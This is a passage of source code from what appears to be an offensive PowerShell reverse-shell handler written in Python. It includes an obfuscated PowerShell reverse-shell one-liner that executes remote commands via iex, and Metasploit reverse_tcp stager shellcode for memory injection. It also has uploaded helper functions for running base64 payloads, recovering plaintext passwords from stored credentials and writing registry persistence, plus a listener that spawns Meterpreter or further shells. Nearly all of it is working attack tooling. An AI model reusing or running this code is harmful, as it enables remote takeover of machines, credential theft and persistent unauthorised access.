: "$[_PS_VAR_ASCII_]=([_OBF_NEW_OBJECT_] [_OBF_TEXT_ASCII_]);$[_PS_VAR_UNICODE_]=[text.encoding]::[_OBF_GET_ENCODING_]('iso-8859-1');$[_PS_VAR_CLIENT_]=[_OBF_NEW_OBJECT_] [_OBF_TCP_CLIENT_]('[_LHOST_]',[_LPORT_]);$[_PS_VAR_STREAM_]=$[_PS_VAR_CLIENT_].[_OBF_GET_STREAM_]();$[_PS_VAR_SEND_]=$[_PS_VAR_UNICODE_].[_OBF_GET_BYTES_](\"Windows PowerShell`nrunning as \"+$env:username+\"@\"+$env:computername+\"`n`nPS \"+(Get-Location).Path+\">\");$[_PS_VAR_STREAM_].[_OBF_WRITE_]($[_PS_VAR_SEND_],0,$[_PS_VAR_SEND_].[_OBF_LENGTH_]);[[_OBF_BYTE_][]]$[_PS_VAR_BYTES_]=0..1024|%{0};while(($[_PS_VAR_I_]=$[_PS_VAR_STREAM_].Read($[_PS_VAR_BYTES_],0,$[_PS_VAR_BYTES_].[_OBF_LENGTH_])) -ne 0){$[_PS_VAR_SEND_]=$[_PS_VAR_UNICODE_].[_OBF_GET_BYTES_]((iex ($[_PS_VAR_UNICODE_].[_OBF_GET_STRING_]($[_PS_VAR_BYTES_],0,$[_PS_VAR_I_])) 2>&1|Out-String)+(&{If($error[0]){(\"exception ::`n\"+($error[0]|Out-String)+\"`n:: exception`n\")}else{''}})+\"PS \"+(Get-Location).Path+\"> \");$error.[_OBF_CLEAR_]();$[_PS_VAR_STREAM_].[_OBF_WRITE_]($[_PS_VAR_SEND_],0,$[_PS_VAR_SEND_].[_OBF_LENGTH_]);$[_PS_VAR_STREAM_].[_OBF_FLUSH_]();}$[_PS_VAR_CLIENT_].[_OBF_CLOSE_]();",
851
}
852
853
# Payloads prepared for memory injection
854
shellcodes = {
855
856
# reverse_tcp stager stager for metasploit.
857
shellcode.REVERSE_TCP_64
858
: "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,"
859
+ "0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,"
860
+ "0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,"
861
+ "0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,"
862
+ "0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,"
863
+ "0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,"
864
+ "0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,"
865
+ "0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,"
866
+ "0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,"
867
+ "0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,"
868
+ "0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,"
869
+ "0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,"
870
+ "0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,"
871
+ "0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,"
872
+ "0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,"
873
+ "0x49,0xbc,0x02,0x00,[_LPORT_]," + "[_LHOST_]" + ",0x41,0x54,0x49,0x89,0xe4,0x4c," # << LPORT and LHOST gets declared here as 6 bytes
874
+ "0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,"
875
+ "0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x41,0x5e,0x50,"
876
+ "0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,"
877
+ "0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,"
878
+ "0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,"
879
+ "0x85,0xc0,0x74,0x0c,0x49,0xff,0xce,0x75,0xe5,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,"
880
+ "0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,"
881
+ "0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,"
882
+ "0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,"
883
+ "0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,"
884
+ "0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,"
885
+ "0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,"
886
+ "0xe7",
887
888
shellcode.REVERSE_TCP_32
889
: "0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,"
890
+ "0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,"
891
+ "0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,"
892
+ "0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,"
893
+ "0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,"
894
+ "0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,"
895
+ "0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,"
896
+ "0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,"
897
+ "0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,"
898
+ "0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,"
899
+ "0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,[_LHOST_]," # << LHOST gets declared here as 4 bytes
900
+ "0x68,0x02,0x00,[_LPORT_],0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68," # << LPORT gets declared here as 2 bytes
901
+ "0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,"
902
+ "0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,"
903
+ "0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,"
904
+ "0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,"
905
+ "0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,"
906
+ "0x1,0xc3,0x29,0xc6,0x75,0xee,0xc3",
907
}
908
909
910
class Framework(object):
911
912
framework = {
913
"IsAdmin" : {
914
"name" : "",
915
"function" : "(){([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')}",
916
},
917
"SetWidth" : {
918
"name" : "",
919
"function" : "($w){$u=(get-host).ui.rawui;$s=$u.buffersize;$s.width=$w;$u.buffersize=$s;$s=$u.windowsize;$s.width=$w;$u.windowsize=$s;}",
920
},
921
"AbsolutePath" : {
922
"name" : "",
923
"function" : "($f){(resolve-path $f).path}",
924
},
925
"DownloadCmds" : {
926
"name" : "",
927
"function" : "(){get-command|?{$_.ModuleName}|select Name|ft -HideTableHeaders}",
928
},
929
"FileExist" : {
930
"name" : "",
931
"function" : "($f){Test-Path $f}",
932
},
933
"FileSize" : {
934
"name" : "",
935
"function" : "($f){(Get-Item $f).length}",
936
},
937
"FileSum" : {
938
"name" : "",
939
"function" : "($f){[System.BitConverter]::ToString((New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider).ComputeHash([System.IO.File]::ReadAllBytes($f))).replace('-','')}",
940
},
941
"DownloadChunk" : {
942
"name" : "",
943
"function" : "($f,$o,$l){$s=(New-Object IO.FileStream -ArgumentList $f,([IO.FileMode]::Open),([IO.FileAccess]::Read));$b=(New-Object 'Byte[]'-ArgumentList $l);$s.Position=$o;$n=$s.Read($b,0,$b.Length);[void]$s.Close();return [Convert]::ToBase64String($b[0..($n-1)])}",
944
},
945
"UploadChunk" : {
946
"name" : "",
947
"function" : "($f,$b){$b=[Convert]::FromBase64String($b);while($True){try{$s=(New-Object IO.FileStream -ArgumentList $f,([IO.FileMode]::Append),([IO.FileAccess]::Write));[void]$s.Write($b,0,$b.length);[void]$s.Dispose();[void]$s.Close(); break;}catch{}}}",
948
},
949
"UploadVariableChunk" : {
950
"name" : "",
951
"function" : "($v,$b){Set-Variable -Name $v -Value ((Get-Variable -Name $v -Scope Global).Value + $b) -Scope Global}",
952
},
953
"VariableSum" : {
954
"name" : "",
955
"function" : "($v){if((Test-Path variable:global:$v)){[BitConverter]::ToString((New-Object -TypeName Security.Cryptography.MD5CryptoServiceProvider).ComputeHash([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value))).replace('-','')}}",
956
},
957
"InvokeVariable" : {
958
"name" : "",
959
"function" : "($v){if((Test-Path variable:global:$v)){IEX((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value)))}}",
960
},
961
"InvokeModuleVariable" : {
962
"name" : "",
963
"function" : "($v){if((Test-Path variable:global:$v)){IEX \"`$b=[ScriptBlock]::Create(((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String((Get-Variable -Name $v -Scope Global).Value))));New-Module -ScriptBlock `$b -Name $v\"}}",
964
},
965
"CreateCredential" : {
966
"name" : "",
967
"function" : "($v,$u,$p){Set-Variable -Name $v -Value (new-object -typename System.Management.Automation.PSCredential -argumentlist ($u, (ConvertTo-SecureString -String $p -AsPlainText -Force))) -Scope Global}",
968
},
969
"GetCredential" : {
970
"name" : "",
971
"function" : "($v){if((Test-Path variable:global:$v) -and ((Get-Variable $v).GetType().Name -eq'PSVariable')){(Get-Variable $v).value.Username + \"`n\" + [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR(((Get-Variable $v).value.Password)))}}",
972
},
973
"AddKeyValue" : {
974
"name" : "",
975
"function" : "($p,$n,$v){New-ItemProperty -Path $p -Name $n -Value $v -PropertyType STRING -Force|Out-Null}",
976
},
977
"RemoveKeyValue" : {
978
"name" : "",
979
"function" : "($p,$n){Remove-ItemProperty -Path $p -Name $n -Force|Out-Null}",
980
},
981
"GetKeyValue" : {
982
"name" : "",
983
"function" : "($p,$n){(Get-ItemProperty -Path $p -Name $n).$n}",
984
},
985
"PersistenceKey" : {
986
"name" : "",
987
"function" : "($p){(Get-Item -Path $p)|select -ExpandProperty Property|?{$_ -eq [System.BitConverter]::ToString((new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider).ComputeHash((new-object -TypeName System.Text.UTF8Encoding).GetBytes((Get-ItemProperty -Path $p -Name $_).$_))).Replace('-', '').tolower()}}",
988
},
989
}
990
991
def __init__(self, send_delegate, check_delegate, receive_delegate):
992
993
# Set delegates
994
self.send_delegate = send_delegate
995
self.check_delegate = check_delegate
996
self.receive_delegate = receive_delegate
997
998
# Set dynamic function names to framework
999
for fnc in self.framework:
1000
self.framework[fnc]["name"] = Utility.dynamic_variable()
1001
self.framework[fnc]["function"] = "function " + self.framework[fnc]["name"] + self.framework[fnc]["function"]
1002
1003
1004
def Upload(self):
1005
1006
count = 0
1007
1008
for fnc in self.framework:
1009
sys.stdout.write("\b" * Print.status("Uploading framwork: {0:.2f}%".format(count / len(self.framework) * 100), True))
1010
self.send_delegate(self.framework[fnc]["function"])
1011
self.receive_delegate(0)
1012
count += 1
1013
1014
Print.success("Framework uploaded successfully" + Print.wipe())
1015
1016
def IsAdmin(self):
1017
return self.check_delegate(self.framework["IsAdmin"]["name"]).lower() == "true"
1018
1019
def DownloadCommands(self):
1020
return [x.strip() for x in self.check_delegate(self.framework["DownloadCmds"]["name"]).replace("\n", "").split("\r")[1:]]
1021
1022
def SetWidth(self, width):
1023
return self.check_delegate(self.framework["SetWidth"]["name"] + " -w " + str(width))
1024
1025
def AbsolutePath(self, file_path):
1026
return self.check_delegate(self.framework["AbsolutePath"]["name"] + " -f '" + file_path + "'")
1027
1028
def FileExist(self, file_path):
1029
return self.check_delegate(self.framework["FileExist"]["name"] + " -f '" + file_path + "'").lower() == "true"
1030
1031
def FileSize(self, file_path):
1032
return int(self.check_delegate(self.framework["FileSize"]["name"] + " -f '" + file_path + "'")) if self.FileExist(file_path) else 0
1033
1034
def FileSum(self, file_path):
1035
return self.check_delegate(self.framework["FileSum"]["name"] + " -f '" + file_path + "'") if self.FileExist(file_path) else ""
1036
1037
def DownloadChunk(self, file_path, offset, limit):
1038
self.send_delegate(self.framework["DownloadChunk"]["name"] + " -f '" + file_path + "'" + " -o " + str(offset) + " -l " + str(limit))
1039
return ("".join(self.receive_delegate(0).split("\n")[:-1])).strip()
1040
1041
def UploadChunk(self, file_path, base64_chunk):
1042
self.send_delegate(self.framework["UploadChunk"]["name"] + " -f '" + file_path + "'" + " -b " + base64_chunk)
1043
self.receive_delegate(0)
1044
1045
def UploadVariableChunk(self, variable_name, base64_chunk):
1046
self.send_delegate(self.framework["UploadVariableChunk"]["name"] + " -v " + variable_name + " -b " + base64_chunk)
1047
self.receive_delegate(0)
1048
1049
def VariableSum(self, variable_name):
1050
return self.check_delegate(self.framework["VariableSum"]["name"] + " -v " + variable_name)
1051
1052
def InvokeVariable(self, variable_name):
1053
self.send_delegate(self.framework["InvokeVariable"]["name"] + " -v " + variable_name)
1054
return self.receive_delegate(0)
1055
1056
def InvokeModuleVariable(self, variable_name):
1057
self.send_delegate(self.framework["InvokeModuleVariable"]["name"] + " -v " + variable_name)
1058
return self.receive_delegate(0)
1059
1060
def CreateCredential(self, variable_name, username, password):
1061
self.check_delegate(self.framework["CreateCredential"]["name"] + " -v " + variable_name + " -u '" + username + "' -p '" + password + "'")
1062
1063
def GetCredential(self, variable_name):
1064
self.send_delegate(self.framework["GetCredential"]["name"] + " -v " + variable_name)
1065
return self.receive_delegate(0)
1066
1067
def AddKeyValue(self, path, name, value):
1068
self.check_delegate(self.framework["AddKeyValue"]["name"] + " -p \"" + path + "\" -n \"" + name + "\" -v \"" + value + "\"")
1069
1070
def RemoveKeyValue(self, path, name):
1071
return ""
1072
1073
def GetKeyValue(self, path, name):
1074
return ""
1075
1076
def PersistenceKey(self, path):
1077
return ""
1078
1079
class Listener(object):
1080
1081
def __init__(self, lhost, lport):
1082
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1083
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
1084
self.lhost = lhost
1085
self.lport = lport
1086
self.framework = Framework(self.send_command, self.check_command, self.get_response)
1087
self.command_definition = {}
1088
self.credentials = []
1089
self.fast_load = False
1090
self.prompt = ""
1091
self.os_target = None
1092
1093
# Define command behavior
1094
self.command_definition["Local-Invoke"] = lambda x: self.psh_Local_Invoke(x[len("Local-Invoke"):].strip())
1095
self.command_definition["Local-Import-Module"] = lambda x: self.psh_Local_Invoke(x[len("Local-Import-Module"):].strip(), True)
1096
self.command_definition["Local-Set-Width"] = lambda x: self.psh_Local_Set_Width(x[len("Local-Set-Width"):].strip())
1097
self.command_definition["Local-Upload"] = lambda x: self.psh_Local_Upload(x[len("Local-Upload"):].strip())
1098
self.command_definition["Local-Download"] = lambda x: self.psh_Local_Download(x[len("Local-Download"):].strip())
1099
self.command_definition["Local-Download-Commands"] = lambda x: self.psh_Local_Download_Commands()
1100
self.command_definition["Local-Enumerate-System"] = lambda x: self.psh_Local_Enumerate_System()
1101
self.command_definition["Local-Check-Status"] = lambda x: self.psh_Local_Check_Status()
1102
self.command_definition["Local-Spawn-Meterpreter"] = lambda x: self.psh_Local_Spawn_Shell(conf_name.METERPRETER)
1103
self.command_definition["Local-Spawn-Reverse-Shell"] = lambda x: self.psh_Local_Spawn_Shell(conf_name.REVERSE_SHELL)
1104
self.command_definition["Local-Credential-Create"] = lambda x: self.psh_Local_Credential(True)
1105
self.command_definition["Local-Credential-List"] = lambda x: self.psh_Local_Credential()
1106
self.command_definition["clear"] = lambda x: self.psh_Local_Clear()
1107
1108
# Define autocomplete
1109
readline.parse_and_bind("tab: complete")
1110
readline.set_completer(self.cmd_complete)
1111
readline.set_completion_display_matches_hook(self.cmd_match_display_hook)
1112
readline.set_completer_delims("")
1113
1114
1115
def cmd_complete(self, text, state):
1116
1117
# Path holder
1118
paths = []
1119
1120
# Iterate though all command definitions
1121
for cmd in self.command_definition:
1122
1123
# Add command to paths
1124
paths.append(cmd)
1125
1126
# Check for command
1127
if cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd:
1128
1129
# Check for local dictionart mapping
1130
if cmd == "Local-Invoke" or cmd == "Local-Import-Module" or cmd == "Local-Upload":
1131
current = text[len(cmd):].strip()
1132
for x in glob.glob(current + "*"):
1133
paths.append(cmd + " " + x)
1134
1135
# Exclude all paths not starting with typed text (case insensitive)
1136
paths = [path for path in paths if path.lower().startswith(text.lower())]
1137
1138
# Check if only one command exists
1139
if len(paths) == 1 and paths[0] == text:
1140
paths = [] # Empty paths
1141
1142
# Iterate through paths, and return accordingly
1143
for path in paths:
1144
if not state:
1145
return path
1146
else:
1147
state -= 1
1148
1149
1150
def cmd_match_display_hook(self, substitution, matches, longest_match_length):
1151
1152
# Cell formatter
1153
def format_cell(cell):
1154
1155
# Split command into pieces
1156
cmd = cell.split(" ")
1157
1158
# Check if command has parameters
1159
if len(cmd) == 1:
1160
1161
# Format command with parameters
1162
return "\033[92m\033[92m" + cell + "\033[0m\033[0m" if (
1163
cmd[0] in self.command_definition and self.command_definition[cmd[0]] != None
1164
) else "\033[00m\033[00m" + str(cell) + "\033[0m\033[0m"
1165
else:
1166
1167
# Format command without parameters
1168
return "\033[92m" + cmd[0] + "\033[0m \033[94m" + " ".join(cmd[1:]) + "\033[0m" if (
1169
cmd[0] in self.command_definition and self.command_definition[cmd[0]] != None
1170
) else "\033[00m\033[00m" + str(cell) + "\033[0m\033[0m"
1171
1172
# Define column width
1173
column_width = 50
1174
1175
# Check if any match exeeds the column width
1176
if max(len(x) for x in matches) < column_width:
1177
1178
# Calculate number of columns that will fit
1179
column_count = (Utility.get_terminal_width() // column_width)
1180
1181
# Holder for columns
1182
columns = []
1183
1184
# Generate base template
1185
# column_width + (9 * 2), where 9 * 2 represents the combined length of all terminal text formats
1186
base_template = "\n " + str(("{:<" + str(column_width + 9 * 2) + "}") * (column_count - 1)) + "{:<}"
1187
1188
# Add empty matches if columns are uneven
1189
for i in range((len(matches) % column_count) + 1):
1190
matches.append("")
1191
1192
# Reorder columns
1193
for column_index in range(column_count):
1194
columns.append(matches[column_index::column_count])
1195
1196
# Zip variable length lists
1197
for row in zip(*columns):
1198
1199
# Print variable length rows
1200
sys.stdout.write(base_template.format(*[format_cell(cell) for cell in row]))
1201
1202
# Print list instead
1203
else:
1204
1205
# Iterate through cells as a list
1206
for cell in matches:
1207
1208
# Format each list item
1209
sys.stdout.write("\n {0}".format(format_cell(cell)))
1210
1211
# Print prompt
1212
sys.stdout.write("\n")
1213
sys.stdout.write(self.prompt)
1214
sys.stdout.write(substitution)
1215
1216
# Flush stream
1217
sys.stdout.flush()
1218
1219
1220
def start(self):
1221
1222
# Create connection holder
1223
self.connection = None
1224
1225
try:
1226
Print.text()
1227
self.server.bind((self.lhost, self.lport))
1228
1229
Print.info("Started reverse handler on %s:%d" % (self.lhost, self.lport))
1230
1231
self.server.listen(1)
1232
self.connection, address = self.server.accept()
1233
fcntl.fcntl(self.server, fcntl.F_SETFL, os.O_NONBLOCK)
1234
1235
Print.success("Incomming connection from: %s:%d" % address)
1236
Print.status("Interacting...")
1237
Print.text()
1238
Print.text("\033[38;5;226m\033[48;5;196mBe aware: this is a pseudo powershell. Interactive prompts will result in hangs.\033[0m")
1239
Print.text("\033[38;5;226m\033[48;5;196mI.e. netsh, cmd, cat, etc. When calling cmdlets specify all required parameters.\033[0m")
1240
Print.text()
1241
1242
# Catch socket errors
1243
except socket.error as e:
1244
Print.error(str(e))
1245
1246
# Kill handler on KeyboardInterrupt
1247
except KeyboardInterrupt:
1248
Print.text(Print.wipe(64, True), True)
1249
Print.status("Killing handler..." + Print.wipe(64))
1250
try:
1251
if self.connection: self.connection.close()
1252
except: pass
1253
1254
1255
# Check if connection is open
1256
if self.connection:
1257
1258
# Try, with catch for socket error
1259
try:
1260
1261
# Print initial prompt
1262
Print.text("\033[1m\033[38;5;255m" + ("\033[0m\n \033[1m\033[38;5;255m".join(self.get_response().split("\n")[:-1])).strip() + "\033[0m")
1263
1264
# Upload framework
1265
self.framework.Upload()
1266
1267
# Set buffer and window width
1268
self.psh_Local_Set_Width()
1269
1270
# Download commands from client
1271
self.psh_Local_Download_Commands()
1272
1273
# Run initial status check for privilages
1274
self.psh_Local_Check_Status()
1275
1276
while True:
1277
1278
# Try, with catch for keyboard interrupt
1279
try:
1280
1281
# Get response
1282
response = self.get_response(0) if self.fast_load else self.get_response()
1283
1284
# Indicate a slow load
1285
self.fast_load = False
1286
1287
# If response is empty... then close connection
1288
if not response: break
1289
1290
# Format response
1291
self.prompt = self.format_response(response)
1292
1293
# Send new data
1294
command = input(self.prompt)
1295
1296
# Check if command is predefined
1297
if command.split(" ")[0] in self.command_definition and self.command_definition[command.split(" ")[0]] != None:
1298
1299
# Execute command locally
1300
self.command_definition[command.split(" ")[0]](command)
1301
1302
# Indicate a fast load
1303
self.fast_load = True
1304
1305
else:
1306
1307
# Execute command on client
1308
self.send_command(command)
1309
1310
# Catch keyboard interrupt
1311
except KeyboardInterrupt:
1312
Print.text()
1313
if Print.confirm("Are you sure you want to kill the listener?"):
1314
break
1315
else:
1316
self.send_command("")
1317
pass
1318
1319
# Catch socket error
1320
except socket.error as e:
1321
if e.errno != errno.ECONNRESET:
1322
Print.error(str(e))
1323
pass
1324
1325
self.connection.close()
1326
self.server.shutdown(1)
1327
self.server.close()
1328
1329
else:
1330
try:
1331
self.server.shutdown(1)
1332
except: pass
1333
self.server.close()
1334
1335
Print.info("Closing connection")
1336
1337
1338
def get_response(self, timespan=0.5):
1339
1340
# Make socket non blocking
1341
self.connection.setblocking(0)
1342
1343
# Data buffer
1344
_buffer = [];
1345
1346
# Set the beginning time
1347
begin = time.time()
1348
1349
# Wait for buffer and timespan (this could create an infinite loop, so return on ctrl+c)
1350
while not (_buffer and (time.time() - begin) > timespan):
1351
1352
try:
1353
# Read data in pipe
1354
data = self.connection.recv(8192).decode("iso-8859-1")
1355
1356
if data:
1357
1358
# Add data to buffer
1359
_buffer.append(data)
1360
1361
# Change the beginning time
1362
begin = time.time()
1363
else:
1364
1365
# Add gap
1366
time.sleep(0.1)
1367
1368
# If socket error
1369
except socket.error as e:
1370
1371
# Return empty on ECONNRESET
1372
if e.errno == errno.ECONNRESET:
1373
return ""
1374
1375
# Pass on other errors (such as EWOULDBLOCK)
1376
pass
1377
1378
# Return empty ctrl+c
1379
except KeyboardInterrupt:
1380
return ""
1381
1382
# Make socket blocking again
1383
self.connection.setblocking(1)
1384
1385
# join all parts to make final string
1386
return "".join(_buffer)
1387
1388
1389
def format_response(self, response):
1390
1391
prompt = ""
1392
searcher = re.compile(r"(exception ::)(((.*)\n)*)(:: exception\n)")
1393
response = str(response)
1394
error = searcher.search(response)
1395
response = searcher.sub("", response).strip().split("\n")
1396
1397
for i in range(len(response)):
1398
if i == len(response) - 1:
1399
1400
if error:
1401
sys.stdout.write(("\n \033[38;5;196m\033[48;5;16m" + "\033[0m\n \033[38;5;196m\033[48;5;16m".join((str(error.group(2)).strip()).split("\n"))) + "\033[0m\n")
1402
1403
prompt = (" \033[1m\033[38;5;255m" + response[i] + "\033[0m")
1404
else:
1405
sys.stdout.write(" " + response[i] + "\n")
1406
sys.stdout.flush()
1407
1408
return prompt
1409
1410
1411
def send_command(self, command):
1412
self.connection.send((command + "\n").encode("iso-8859-1"))
1413
1414
1415
def check_command(self, command):
1416
self.connection.send((command + "\n").encode("iso-8859-1"))
1417
return ("".join(self.get_response().split("\n")[:-1])).strip()
1418
1419
1420
def psh_Local_Check_Status(self):
1421
1422
output = ""
1423
1424
# Clear command buffer
1425
self.check_command("")
1426
1427
sys.stdout.write("\b" * Print.status("Checking status...", True))
1428
1429
# Check os architecture
1430
self.os_target = os_target.WIN32 if self.check_command("if ([System.IntPtr]::Size -eq 4) { \"32\" } else { \"64\" }") == "32" else os_target.WIN64
1431
1432
output += ("Elevated privilages? " + ("\033[1m\033[92mYes" if self.framework.IsAdmin() else "\033[1m\033[91mNo") + "\033[0m\n\n")
1433
1434
self.send_command("(whoami /priv /nh) -replace '(\ (.*))',''")
1435
1436
output += (" " + ("Privilages information\n --------------------------------------------------------------------------------\n \033[92m"
1437
+ "\033[0m\n \033[92m".join(self.get_response().split("\n")[:-1])).strip() + "\033[0m\n")
1438
1439
Print.text(Print.wipe())
1440
Print.text(output)
1441
1442
# Send empty command to load buffer
1443
self.send_command("")
1444
1445
1446
def psh_Local_Spawn_Shell(self, payload_type):
1447
1448
# Clear command buffer
1449
self.check_command("")
1450
1451
credential_name = None
1452
Print.text()
1453
Print.text("Supply values for the following parameters:")
1454
lhost = input(" \033[1m\033[38;5;255mLHOST:\033[0m ").strip()
1455
lport = input(" \033[1m\033[38;5;255mLPORT:\033[0m ").strip()
1456
Print.text()
1457
1458
Print.text("\033[1m\033[38;5;255mSpecify Credentials:\033[0m Run the Job with different credentials.")
1459
if Print.confirm("Specify other credentials?", False):
1460
credential_name = Utility.dynamic_variable()
1461
Print.text()
1462
Print.text("Supply values for the following parameters:")
1463
username = input(" \033[1m\033[38;5;255mUsername:\033[0m ").strip()
1464
password = input(" \033[1m\033[38;5;255mPassword:\033[0m ").strip()
1465
1466
self.framework.CreateCredential(credential_name, username, password)
1467
Print.text()
1468
1469
Print.text("\033[1m\033[38;5;255mASK Elevation:\033[0m This will trigger the UAC (using a so called ASK elevation). This is NOT stealthy.")
1470
use_elevation = Print.confirm("Use 'ASK Elevation?'", False)
1471
Print.text()
1472
1473
if (not Utility.is_ipv4_address(lhost)):
1474
Print.error("LHOST is not an IP address")
1475
lhost = None
1476
1477
if (not (lport.isdigit() and int(lport) >= 1 and int(lport) <= 65535)):
1478
Print.error("LPORT is not a valid port number")
1479
lport = None
1480
1481
if lhost != None and lport != None:
1482
1483
if payload_type == conf_name.METERPRETER:
1484
payload = generate_injection(
1485
Utility.replace_all(
1486
shellcodes[(shellcode.REVERSE_TCP_32 if self.os_target == os_target.WIN32 else shellcode.REVERSE_TCP_64)],
1487
("[_LPORT_]", "[_LHOST_]"),
1488
Utility.local_address_to_binary_array_string(lhost, lport)
1489
), self.os_target
1490
).encode("utf8")
1491
1492
elif payload_type == conf_name.REVERSE_SHELL:
1493
payload = generate_reverse_shell(lhost, lport).encode("utf8")
1494
1495
else:
1496
1497
Print.error("Unknown payload")
1498
1499
# Send empty command to load buffer
1500
self.send_command("")
1501
return
1502
1503
variable_name = Utility.dynamic_variable()
1504
job_name = Utility.dynamic_variable()
1505
1506
# Get payload size
1507
length = len(payload)
1508
chunk_size = 384
1509
uploaded = 0
1510
1511
# Start timer
1512
now = time.time()
1513
1514
# Reserve variable with an empty value
1515
self.framework.UploadVariableChunk(variable_name, "")
1516
1517
